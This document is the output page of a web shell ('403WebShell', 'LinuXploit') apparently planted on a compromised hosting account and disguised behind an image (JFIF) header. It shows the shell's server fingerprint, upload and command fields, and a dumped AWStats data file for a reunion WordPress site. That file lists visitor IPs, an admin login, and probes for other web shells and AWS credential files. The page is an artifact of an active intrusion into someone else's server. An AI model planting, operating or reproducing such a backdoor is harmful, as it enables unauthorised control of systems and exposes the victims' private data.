????JFIF??x?x????'403WebShell
403Webshell
Server IP : 104.21.80.1  /  Your IP : 216.73.216.145
Web Server : LiteSpeed
System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : tempvsty ( 647)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/tempvsty/tmp/awstats/ssl/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/tempvsty/tmp/awstats/ssl/awstats082024.dchs84reunion.com.tempsite.pw.txt
AWSTATS DATA FILE 7.8 (build 20200416)
# If you remove this file, all statistics for date 202408 will be lost/reset.
# Last config file used to build this data file was /home/tempvsty/tmp/awstats/ssl/awstats.dchs84reunion.com.tempsite.pw.conf.

# Position (offset in bytes) in this file for beginning of each section for
# direct I/O access. If you made changes somewhere in this file, you should
# also remove completely the MAP section (AWStats will rewrite it at next
# update).
BEGIN_MAP 28
POS_GENERAL 2030                
POS_TIME 2702                
POS_VISITOR 11471               
POS_DAY 18872               
POS_DOMAIN 3664                
POS_LOGIN 4288                
POS_ROBOT 4475                
POS_WORMS 5163                
POS_EMAILSENDER 5294                
POS_EMAILRECEIVER 5437                
POS_SESSION 19392               
POS_SIDER 19576               
POS_FILETYPES 5572                
POS_DOWNLOADS 5860                
POS_OS 6240                
POS_BROWSER 6532                
POS_SCREENSIZE 7860                
POS_UNKNOWNREFERER 7934                
POS_UNKNOWNREFERERBROWSER 8724                
POS_ORIGIN 9255                
POS_SEREFERRALS 9393                
POS_PAGEREFS 9559                
POS_SEARCHWORDS 9707                
POS_KEYWORDS 9859                
POS_MISC 2366                
POS_ERRORS 9918                
POS_CLUSTER 4144                
POS_SIDER_404 10058               
END_MAP

# LastLine    = Date of last record processed - Last record line number in last log - Last record offset in last log - Last record signature value
# FirstTime   = Date of first visit for history file
# LastTime    = Date of last visit for history file
# LastUpdate  = Date of last update - Nb of parsed records - Nb of parsed old records - Nb of parsed new records - Nb of parsed corrupted - Nb of parsed dropped
# TotalVisits = Number of visits
# TotalUnique = Number of unique visitors
# MonthHostsKnown   = Number of hosts known
# MonthHostsUnKnown = Number of hosts unknown
BEGIN_GENERAL 8
LastLine 20240912050158 1 0 10679836414051
FirstTime 20240801000951
LastTime 20240824030246
LastUpdate 20240912100958 1 0 0 0 0
TotalVisits 236                 
TotalUnique 184                 
MonthHostsKnown 0                   
MonthHostsUnknown 190                 
END_GENERAL

# Misc ID - Pages - Hits - Bandwidth
BEGIN_MISC 10
DirectorSupport 0 0 0
PDFSupport 0 0 0
RealPlayerSupport 0 0 0
WindowsMediaPlayerSupport 0 0 0
JavascriptDisabled 0 0 0
FlashSupport 0 0 0
AddToFavourites 0 0 0
QuickTimeSupport 0 0 0
JavaEnabled 0 0 0
TotalMisc 0 0 0
END_MISC

# Hour - Pages - Hits - Bandwidth - Not viewed Pages - Not viewed Hits - Not viewed Bandwidth
BEGIN_TIME 24
0 30 116 9689565 2202 2308 75172387
1 6 6 39992 1830 1904 61924307
2 16 97 6818925 1968 2037 67082282
3 19 20 470905 1764 1824 58825116
4 12 12 402913 1756 1856 58845539
5 26 27 464296 2018 2156 63426129
6 13 13 240253 2889 2956 98465778
7 8 8 177881 2215 2261 74975691
8 45 207 14062128 1951 2014 66051615
9 9 9 177589 2044 2141 69745063
10 24 24 251083 2052 2161 72933175
11 26 108 7061139 2343 2467 78100074
12 17 18 381275 2556 2612 86133215
13 20 21 366030 2114 2218 71337763
14 17 18 378978 2897 3068 98290335
15 25 26 527215 2745 2803 93632194
16 11 12 283020 3238 3323 110735106
17 17 17 283149 2870 2988 96479442
18 16 16 623966 4237 4334 144564646
19 30 31 770861 3368 3443 118033670
20 15 16 92214 3513 3629 119173391
21 28 107 7231503 2782 2861 92725209
22 6 13 61120 2323 2408 78240945
23 19 20 3216207 2530 2627 89676657
END_TIME

# Domain - Pages - Hits - Bandwidth
# The 25 first Pages must be first (order not required for others)
BEGIN_DOMAIN 29
us 150 645 46543495
ca 57 58 752647
gb 38 40 1072252
in 29 30 429287
cn 26 30 811373
tr 25 27 637154
ru 21 21 549252
sc 21 22 787669
jp 15 15 283508
de 14 14 516400
ee 7 7 338581
ro 7 7 319497
bg 6 6 2136
ma 6 6 40106
se 5 5 94930
fr 5 5 423746
ua 5 5 117426
ar 4 5 8445
be 3 3 32049
nl 2 2 203836
pa 1 1 18983
kz 1 1 13060
pk 1 1 2112
es 1 1 2135
il 1 1 13059
it 1 1 18988
id 1 1 2112
za 1 1 18990
gr 1 1 18979
END_DOMAIN

# Cluster ID - Pages - Hits - Bandwidth
BEGIN_CLUSTER 0
END_CLUSTER

# Login - Pages - Hits - Bandwidth - Last visit
# The 10 first Pages must be first (order not required for others)
BEGIN_LOGIN 1
admin 1 1 210786 20240805185525
END_LOGIN

# Robot ID - Hits - Bandwidth - Last visit - Hits on robots.txt
# The 25 first Hits must be first (order not required for others)
BEGIN_ROBOT 14
Googlebot/ 58986 2015148123 20240815051141 128
feed 610 22848768 20240815033154 26
bingbot/ 232 1030608 20240814213121 19
SemrushBot/ 135 1055176 20240814222228 58
no_user_agent 76 1227990 20240824132128 0
AhrefsBot/ 69 471662 20240814073326 15
curl 17 266258 20240813024743 0
Go\-http\-client/ 12 18985 20240814110646 0
MJ12bot/ 10 81235 20240814005341 5
unknown 5 5977 20240815132738 5
bot[\s_+:,\.\;\/\\-] 4 75949 20240809032231 0
survey 2 203836 20240808122232 0
(firefox/)([0-9]\.|[0-1][0]\.) 1 0 20240809034025 0
SafeDNSBot 1 18992 20240807083945 0
END_ROBOT

# Worm ID - Hits - Bandwidth - Last visit
# The 5 first Hits must be first (order not required for others)
BEGIN_WORMS 0
END_WORMS

# EMail - Hits - Bandwidth - Last visit
# The 20 first Hits must be first (order not required for others)
BEGIN_EMAILSENDER 0
END_EMAILSENDER

# EMail - Hits - Bandwidth - Last visit
# The 20 first hits must be first (order not required for others)
BEGIN_EMAILRECEIVER 0
END_EMAILRECEIVER

# Files type - Hits - Bandwidth - Bandwidth without compression - Bandwidth after compression
BEGIN_FILETYPES 12
ttf 6 256320 0 0
woff2 6 462960 0 0
Unknown 55 824972 0 0
xml 26 5302606 0 0
jpg 222 32920314 0 0
js 174 870905 0 0
php 62 116272 0 0
gif 6 91428 0 0
png 42 4260516 0 0
html 300 8309374 0 0
css 55 653748 0 0
txt 8 2792 0 0
END_FILETYPES

# Downloads - Hits - Bandwidth
BEGIN_DOWNLOADS 7
//wp-includes/ID3/license.txt 2 0 2792
/wp-content/plugins/userpro/changelog.txt 1 0 0
/wp-content/plugins/ninja-forms/readme.txt 1 0 0
/wp-content/plugins/keydatas/readme.txt 1 0 0
/wp-content/plugins/wp-time-capsule/readme.txt 1 0 0
/wp-content/plugins/wp-mlm/readme.txt 1 0 0
/wp-content/plugins/chatbot-chatgpt/readme.txt 1 0 0
END_DOWNLOADS

# OS ID - Hits
BEGIN_OS ID - Hits - Pages 17
win7 39 38
beos 1 1
win8 4 4
win10 142 132
macosx 73 66
ios_ipad 1 0
linuxubuntu 39 37
android 1 0
linux 364 41
win8.1 2 2
Unknown 65 65
macosx15 14 14
android10 85 7
winxp 1 1
androidnougat 2 2
macosx12 87 6
ios_iphone 42 39
END_OS

# Browser ID - Hits - Pages
BEGIN_BROWSER 63
chrome126.0.0.0 8 8
firefox32.0 1 0
chrome122.0.0.0 2 2
firefox108.0 2 2
msie6.0 1 1
chrome121.0.0.0 172 12
chrome100.0.4896.127 5 5
chrome122.0.6261.95 1 1
chrome103.0.5060.114 4 4
chrome60.0.3112.107 2 2
firefox102.0 2 2
chrome79.0.3945.88 1 1
firefox128.0 3 3
chrome99.0.4844.84 1 1
chrome125.0.0.0 86 5
chrome114.0.0.0 52 48
safari16.3 1 1
safari 2 0
safari13.0.3 37 37
seamonkey 1 1
chrome120.0.0.0 11 11
safari17.3.1 2 2
chrome90.0.4430.212 1 1
chrome91.0.4472.114 2 2
chrome108.0.0.0 2 2
firefox33.0 2 2
chrome100.0.4758.11 2 2
chrome74.0.3729.169 2 2
firefox115.0 13 13
chrome127.0.0.0 84 6
chrome124.0.6367.62 2 2
chrome118.0.0.0 1 1
chrome100.0.4895.86 1 1
chrome95.0.4638.69 26 24
chrome124.0.0.0 88 7
chrome115.0.0.0 1 1
chrome79.0.3945.130 1 1
chrome23.0.1271.97 21 21
firefox114.0 44 41
mozilla 11 7
chrome78.0.3904.108 12 12
chrome42.0.2311.90 3 3
chrome106.0.0.0 1 1
chrome90.0.4430.85 3 3
chrome105.0.0.0 3 3
firefox100.0 1 1
chrome111.0.0.0 1 1
chrome116.0.0.0 3 3
chrome103.0.0.0 99 18
chrome117.0.0.0 19 19
firefox116.0 1 1
Unknown 57 57
firefox126.0 1 1
netscape5.0 2 2
firefox127.0 3 0
chrome89.0.4389.82 1 1
chrome124.0.6367.119 2 2
chrome80.0.3987.149 1 1
safari17.5 1 1
opera89.0.4447.51 42 37
safari17.4.1 2 0
chrome81.0.4044.129 1 1
firefox121.0 2 2
END_BROWSER

# Screen size - Hits
BEGIN_SCREENSIZE 0
END_SCREENSIZE

# Unknown referer OS - Last visit date
BEGIN_UNKNOWNREFERER 9
python-requests/2.31.0 20240801194015
Mozilla/5.0_Firefox/33.0 20240814231725
Expanse,_a_Palo_Alto_Networks_company,_searches_across_the_global_IPv4_space_multiple_times_per_day_to_identify_customers'_presences_on_the_Internet._If_you_would_like_to_be_excluded_from_our_scans,_please_send_IP_addresses/domains_to:[email protected] 20240824030246
python-requests/2.32.3 20240814190736
Mozilla/5.0_(compatible;_ips-agent) 20240806134515
GlobalWebSearchx 20240810021914
Mozilla/5.0_researchscan.comsys.rwth-aachen.de 20240807153226
Mozilla/5.0_(compatible;_InternetMeasurement/1.0;__https://internet-measurement.com/) 20240805003239
WordPress/6.5;_https://dchs84reunion.com 20240815030327
END_UNKNOWNREFERER

# Unknown referer Browser - Last visit date
BEGIN_UNKNOWNREFERERBROWSER 5
python-requests/2.31.0 20240801194015
GlobalWebSearchx 20240810021914
WordPress/6.5;_https://dchs84reunion.com 20240815030327
python-requests/2.32.3 20240814190736
Expanse,_a_Palo_Alto_Networks_company,_searches_across_the_global_IPv4_space_multiple_times_per_day_to_identify_customers'_presences_on_the_Internet._If_you_would_like_to_be_excluded_from_our_scans,_please_send_IP_addresses/domains_to:[email protected] 20240824030246
END_UNKNOWNREFERERBROWSER

# Origin - Pages - Hits 
BEGIN_ORIGIN 6
From0 204 214
From1 6 6
From2 3 3
From3 0 0
From4 242 739
From5 0 0
END_ORIGIN

# Search engine referers ID - Pages - Hits
BEGIN_SEREFERRALS 1
www_google_com_hk 3 3
END_SEREFERRALS

# External page referers - Pages - Hits
# The 25 first Pages must be first (order not required for others)
BEGIN_PAGEREFS 0
END_PAGEREFS

# Search keyphrases - Number of search
# The 10 first number of search must be first (order not required for others)
BEGIN_SEARCHWORDS 0
END_SEARCHWORDS

# Search keywords - Number of search
# The 25 first number of search must be first (order not required for others)
BEGIN_KEYWORDS 0
END_KEYWORDS

# Errors - Hits - Bandwidth
BEGIN_ERRORS 5
404 1259 1133088
302 87 0
403 703 973807
401 5 530
301 172 8745
END_ERRORS

# URL with 404 errors - Hits - Last URL referrer
BEGIN_SIDER_404 39
/shopping/R/733217HS 1 -
/ffteneiq.php 1 www.google.com
/ 3 -
/wp-json/custom-admin/v1/ 1 -
/about.php 3 -
/svg/common/icon-star-sprite.svg 418 https://www.dchs84reunion.com/m98/udy2386zjdgitem
/yjodqwtt.php 1 www.google.com
/author/castrol4urj/ 1 -
/cache/accesson0.php 1 -
/shopping/B/733201CS 1 -
/author/dchs84reunion 1 -
/shopping/K/733210FS 1 -
/shopping/I/733208CS 1 -
/wp.php 3 -
/hoot.php 3 -
/shopping/O/733214CS 1 -
/shopping/G/733206VS 1 -
/shopping/E/733204DS 1 -
/.aws/credentials.gpg 1 -
// 4 -
/php_info 1 -
/wp-includes/widgets/include.php 1 www.google.com
/geju.php 3 -
/ogbjshqa.php 1 www.google.com
/security.txt 1 -
/.well-known/security.txt 1 -
/vkxxdszq.php 1 www.google.com
//wp-includes/wlwmanifest.xml 1 -
/shopping/F/733205RS 1 -
/info 1 -
/shopping/J/733209IS 1 -
/ayk.php 2 -
/admin.php 3 -
/shopping/H/733207AS 1 -
/svg/common/icon-star-fill.svg 418 https://www.dchs84reunion.com/m372397097/lxp38881nxaditem
/assets/colors/accesson.php 1 -
/svg/common/icon-review-stroke-green.svg 368 https://dchs84reunion.com/shopping/Y/909374
/wp-plain.php 4 www.google.com
/ads.txt 1 -
END_SIDER_404

# Host - Pages - Hits - Bandwidth - Last visit date - [Start date of last visit] - [Last page of last visit]
# [Start date of last visit] and [Last page of last visit] are saved only if session is not finished
# The 25 first Hits must be first (order not required for others)
BEGIN_VISITOR 190
162.0.235.148 46 46 0 20240815030327
91.151.95.34 25 27 637154 20240811123208
146.70.218.71 13 14 350990 20240802080152
107.175.196.116 13 14 350998 20240812193943
149.88.18.9 13 14 350997 20240809035248
45.134.140.239 13 14 350990 20240803155058
134.209.162.192 12 13 2661782 20240814230816
172.104.165.237 12 13 2642531 20240803004704
209.38.47.129 11 171 13159434 20240811083426
193.37.33.27 10 10 255076 20240814181636
139.99.223.49 7 7 0 20240804203304
80.190.84.126 7 7 0 20240807100250
45.227.254.34 6 6 40106 20240812084323
5.188.62.21 6 6 76649 20240806113416
172.58.126.150 6 87 6600469 20240804000242
167.235.203.42 5 86 6584395 20240801025807
196.245.231.164 5 5 306433 20240806111420
185.104.219.205 5 5 306434 20240807144014
35.165.215.140 5 86 6584395 20240814110651
94.156.65.250 5 5 0 20240811193737
85.122.125.104 5 5 306437 20240807052532
5.157.55.216 5 5 306435 20240806214611
68.60.136.163 5 83 6568450 20240803212255
104.247.113.7 4 5 8444 20240807052546
104.234.67.149 4 4 407708 20240806163852
38.98.189.211 1 1 2195 20240808174448
162.253.129.131 2 3 20195 20240807205158
49.51.179.103 1 1 18889 20240803020237
85.215.216.153 2 2 37869 20240814190736
194.32.122.48 2 2 102124 20240813105603
103.116.44.35 1 1 2129 20240806221003
120.92.72.106 0 1 14380 
103.116.44.55 1 1 2191 20240803162037
188.166.5.144 1 1 101918 20240811083418
120.92.72.144 0 1 35438 
38.150.67.64 1 1 2191 20240801122241
107.189.3.97 1 1 2112 20240811033008
51.254.49.99 2 2 203836 20240803234153
38.98.189.223 1 1 2194 20240808174447
196.242.89.186 3 4 6892 20240806111436
195.211.77.142 2 2 0 20240805003734
113.219.218.197 1 1 0 20240805005054
175.6.217.4 2 2 37786 20240812204517
103.116.44.78 2 2 4391 20240809051203
164.92.238.174 1 1 18986 20240805085652
212.102.57.20 1 1 18988 20240812082245
146.190.13.187 1 1 18992 20240812082247
5.253.184.136 1 1 13060 20240813154439
43.134.37.211 1 1 18899 20240801164926
178.128.230.243 1 1 18979 20240803022307
43.130.32.224 2 2 37795 20240810075339
94.139.58.126 1 1 13059 20240801064313
80.93.124.43 1 1 2113 20240806205917
205.169.39.25 1 1 18994 20240811121322
165.231.182.10 2 2 102124 20240814215211
178.171.40.233 1 1 13061 20240803122635
203.99.100.81 1 1 2112 20240806153738
2.57.29.164 1 1 13059 20240810085723
128.90.174.39 1 1 0 20240801072311
185.190.42.200 2 2 102124 20240808003929
182.42.104.32 2 2 37788 20240812071816
163.172.221.217 1 1 101918 20240802173528
188.165.87.105 1 1 101918 20240803190649
104.244.79.27 2 2 2112 20240802012556
150.109.13.194 1 1 0 20240801060646
87.236.176.46 1 1 0 20240805003239
103.116.44.89 1 1 2195 20240809051204
23.249.174.194 1 1 13059 20240805102333
198.235.24.211 1 1 101918 20240819174703
43.153.216.189 2 2 37784 20240808085842
179.43.191.18 1 1 18983 20240810021914
154.47.30.163 1 1 18896 20240812082310
38.98.189.214 1 1 2191 20240808174448
147.185.132.174 1 1 101905 20240817053426
167.172.60.2 1 1 0 20240813084418
45.90.62.153 1 1 13059 20240804140600
43.130.3.122 1 1 18893 20240809011637
93.113.125.153 1 1 0 20240801064207
165.231.70.54 1 1 1554 20240806214616
125.75.66.97 1 1 18897 20240809210523
38.90.17.40 1 1 2190 20240803040912
178.254.12.183 1 1 18988 20240806042736
43.131.249.153 1 1 18895 20240811064935
87.236.176.230 1 1 18990 20240804041858
120.92.72.99 0 1 8658 
89.110.88.203 2 2 102124 20240808065721
196.245.184.148 2 2 32148 20240807052521
50.3.222.157 2 2 32146 20240807144002
49.51.47.100 1 1 18897 20240807044425
38.95.13.132 1 1 18989 20240811210955
194.32.122.59 2 2 102124 20240805070606
197.242.159.250 1 1 18990 20240811210957
20.199.75.104 1 1 18931 20240811205813
198.235.24.37 1 1 101918 20240809063756
203.2.64.59 1 1 18888 20240804114151
66.70.181.5 0 1 22601 
178.208.183.183 1 1 0 20240801142551
167.99.74.79 1 1 0 20240801194015
124.226.222.66 1 1 18898 20240808214353
49.51.37.224 2 2 37804 20240804100414
49.51.72.76 1 1 18893 20240803080833
45.150.20.204 1 1 13058 20240811111915
165.231.182.14 2 2 102124 20240809031455
43.163.6.35 1 1 18900 20240802155830
119.155.169.10 1 1 2112 20240806154236
89.110.87.170 1 1 13189 20240809202229
137.226.113.44 1 1 18983 20240807153226
35.212.202.215 2 2 28181 20240809105347
83.229.107.101 1 1 13060 20240814174049
5.157.14.232 2 2 32146 20240806214600
43.133.77.230 1 1 18882 20240809081816
128.90.170.16 1 1 18979 20240807161519
192.126.208.137 1 1 16072 20240807162940
43.128.100.206 1 1 18892 20240810194147
37.187.215.241 1 1 101918 20240803212254
185.253.27.2 1 1 13060 20240812135908
45.158.214.132 1 1 13058 20240806171317
192.36.109.98 1 1 18989 20240807113639
147.185.132.81 1 1 0 20240824030246
93.158.91.237 1 1 18987 20240813014148
196.196.53.141 2 2 102124 20240806192709
49.51.206.130 1 1 18899 20240814095839
212.42.49.168 2 2 37986 20240803195336
43.132.234.142 1 1 18988 20240802224236
5.133.192.88 2 2 37974 20240815041417
198.235.24.103 1 1 101918 20240813090649
92.255.83.212 1 1 0 20240801064239
172.174.237.224 1 1 15672 20240809030048
74.225.210.220 1 1 2134 20240803210508
103.116.44.84 1 1 2197 20240809051202
43.135.163.214 1 1 18894 20240814142829
135.148.195.8 1 1 18982 20240802223024
38.98.189.236 1 1 2196 20240808174448
72.13.62.26 3 3 46771 20240806134515
68.183.245.101 1 1 18894 20240811210956
103.116.44.114 2 2 4384 20240809051203
8.41.221.50 2 2 120906 20240814231725
36.143.138.209 1 1 101918 20240811181848
196.245.148.151 2 2 32146 20240806111403
93.158.91.11 1 1 18980 20240809024737
192.126.136.29 1 1 16072 20240808185157
195.154.84.78 1 1 16074 20240804122158
157.245.101.242 1 1 0 20240801101515
135.148.195.1 1 1 18988 20240812183251
168.228.45.72 3 4 6891 20240806214623
43.131.48.214 1 1 18902 20240813085018
43.135.181.13 1 1 18888 20240815002421
198.235.24.41 1 1 0 20240802022226
103.116.44.53 1 1 2128 20240806221002
209.145.60.115 2 2 0 20240803044840
103.241.53.215 1 1 13059 20240809005947
188.166.73.107 1 1 101918 20240811083421
165.231.182.34 2 2 102124 20240807155808
50.3.137.56 1 1 1554 20240806111428
38.98.189.225 1 1 2195 20240808174448
42.83.147.34 2 2 37968 20240823072032
94.156.67.142 1 1 2136 20240802182816
180.110.203.108 2 2 37783 20240805103141
139.99.220.135 0 7 0 
49.51.204.74 3 3 56682 20240813042933
103.115.86.169 2 2 4257 20240807064400
165.22.8.220 1 1 18982 20240809091645
146.190.246.147 1 1 18935 20240806172027
95.217.18.177 1 1 0 20240801000951
94.177.55.167 1 1 13060 20240802104024
62.141.44.236 1 1 18988 20240813190909
38.98.188.228 1 1 2195 20240808174448
158.69.25.39 1 1 18990 20240805180245
38.98.189.245 1 1 2197 20240808174447
192.126.133.200 1 2 4125 20240807162952
45.84.176.27 2 2 102124 20240809041703
45.86.202.170 2 2 103903 20240810080611
31.220.76.143 1 1 2135 20240811111423
193.36.118.246 1 1 18897 20240812082247
46.38.249.161 1 1 210786 20240801234003
120.92.72.170 0 1 5342 
194.32.122.63 2 2 102124 20240803192719
109.69.108.24 3 4 6891 20240807144026
103.116.44.90 1 1 2195 20240809051204
58.49.233.126 1 1 18893 20240807224011
49.51.183.220 1 1 18897 20240814173159
3.37.16.156 2 2 18981 20240804171459
78.46.96.86 1 1 210786 20240805185525
43.134.89.111 1 1 18896 20240811190939
120.92.72.246 2 2 229775 20240801003419
35.163.155.197 1 1 101918 20240811023924
129.226.146.179 1 1 18901 20240806000358
51.15.183.136 2 2 18986 20240808100601
168.228.45.21 1 1 1554 20240807144019
45.143.172.195 1 1 13055 20240807210043
END_VISITOR

# Date - Pages - Hits - Bandwidth - Visits
BEGIN_DAY 19
20240801 36 122 7429122 18
20240802 24 25 545981 11
20240803 59 139 10465711 24
20240804 21 102 6688512 10
20240805 20 20 420720 18
20240806 48 57 1241715 25
20240807 50 54 967520 24
20240808 17 17 292458 14
20240809 42 43 837260 19
20240810 9 9 173735 8
20240811 43 204 14085783 20
20240812 26 28 538194 13
20240813 13 13 292867 12
20240814 39 121 9812968 13
20240815 3 3 37870 3
20240817 1 1 101905 1
20240819 1 1 101918 1
20240823 2 2 37968 1
20240824 1 1 0 1
END_DAY

# Session range - Number of visits
BEGIN_SESSION 5
1h+ 1
30s-2mn 8
2mn-5mn 2
0s-30s 224
30mn-1h 1
END_SESSION

# URL - Pages - Bandwidth - Entry - Exit
# The 25 first Pages must be first (order not required for others)
BEGIN_SIDER 44
/ 218 5271959 170 146
/wp-login.php 31 67017 27 26
/wp-json/contact-form-7/v1/contact-forms/1581/feedback 22 4532 1 22
/2015/07/11/video-post/ 15 169767 15 15
/1841-2/ 12 147403 0 2
/wp-json/ 12 2529432 1 2
/1815-2/ 11 117957 4 0
/feed/ 10 24276 3 0
/comments/feed/ 10 15530 4 3
/wp-json/wp/v2/pages/1412 10 587860 0 0
/home-2/feed/ 10 3390 0 0
/wp-json/oembed/1.0/embed 8 15880 0 0
//wp-login.php 7 49255 0 1
/wp-content/themes/celebration/fonts/fontawesome-webfont.woff2 6 462960 0 0
/wp-content/themes/celebration/fonts/wedding.ttf 6 256320 0 0
/wp-json/contact-form-7/v1/contact-forms/1581/feedback/schema 6 1932 0 0
/wp-json/contact-form-7/v1/contact-forms/1581/refill 6 12 0 5
/wp-content/plugins/about.php 4 0 1 1
/wp-content/plugins/WordPressCore/include.php 4 0 4 0
/wp-content/plugins/wp-theme-editor/include.php 4 0 0 1
/wp-content/db-cache.php 3 0 0 3
/wp-content/plugins/admin.php 3 0 0 0
/wp-content/admin.php 2 0 0 0
//2019/wp-includes/wlwmanifest.xml 2 455742 0 0
//wp-json/oembed/1.0/embed 2 3970 0 1
/post-sitemap.xml 1 1085 0 0
/author/admin/ 1 16471 0 1
/author-sitemap.xml 1 0 0 1
//2020/wp-includes/wlwmanifest.xml 2 443291 0 0
//shop/wp-includes/wlwmanifest.xml 2 438941 0 0
//cms/wp-includes/wlwmanifest.xml 2 443095 0 2
//web/wp-includes/wlwmanifest.xml 2 439991 0 0
//blog/wp-includes/wlwmanifest.xml 2 428626 2 0
//site/wp-includes/wlwmanifest.xml 2 437976 0 0
/wp-json 1 210786 1 1
//wordpress/wp-includes/wlwmanifest.xml 2 429491 0 0
/wp-content/plugins/background-image-cropper/image/ico/accesson.php 1 0 1 1
/wp-content/themes/exs-church/fnc.php 1 0 1 1
/2023/08/14/hello-world/ 1 13189 1 1
//wp/wp-includes/wlwmanifest.xml 2 451984 0 0
//test/wp-includes/wlwmanifest.xml 2 442054 0 0
//wp1/wp-includes/wlwmanifest.xml 2 441422 0 0
/wp-content/themes/admin.php 2 0 0 0
//2021/wp-includes/wlwmanifest.xml 2 448908 0 0
END_SIDER

Youez - 2016 - github.com/yon3zu
LinuXploit